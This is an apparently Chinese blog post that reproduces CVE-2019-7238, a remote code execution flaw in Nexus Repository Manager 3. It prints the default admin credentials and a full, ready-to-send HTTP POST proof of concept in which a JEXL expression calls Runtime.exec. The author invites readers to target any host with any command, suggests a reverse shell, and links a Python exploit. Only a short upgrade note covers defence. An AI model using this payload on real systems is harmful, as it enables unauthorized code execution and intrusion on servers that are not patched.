Nexus Repository Manager 3 远程代码执行(CVE-2019-7238)漏洞复现

前言:

Nexus Repository Manager是Sonatype公司的一个产品,简称NXRM,它是一款通用的软件包仓库管理服务,可以简单的理解为Maven的私服。

2019年2月5日Sonatype发布安全公告,在Nexus Repository Manager 3中由于存在访问控制措施的不足,未授权的用户可以利用该缺陷构造特定的请求在服务器上执行Java代码,从而达到远程代码执行的目的。

影响版本:

Nexus Repository Manager OSS/Pro 3.6.2版本到3.14.0版本

漏洞环境:

使用3.14.0版本

oss 3.14.0-04

漏洞复现:

首先要登陆系统,默认账号密码admin/admin123,上传一个任意jar包,以为要触发该漏洞,必须要保证仓库里必须保证有一个jar存在

上传一个jar
上传位置

方法1.直接上poc:

poc:

POST /service/extdirect HTTP/1.1

Host: 192.168.220.131:8081

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0

Accept: */*

Content-Type: application/json

X-Requested-With: XMLHttpRequest

Content-Length: 368

Connection: close

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":

[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

这里主机换成自己需要攻击的主机,然后执行命令自己写。既然能创建文件,理论上反弹shell也是可以的。

poc发送

检测是否执行成功:

方法二:直接利用py poc

py下载:https://github.com/jas502n/CVE-2019-7238

修复建议:

将Nexus Repository Manager OSS/Pro升级到3.15.0及之后的版本


参考链接:

https://github.com/jas502n/CVE-2019-7238

https://www.anquanke.com/post/id/171116

你可能感兴趣的:(Nexus Repository Manager 3 远程代码执行(CVE-2019-7238)漏洞复现)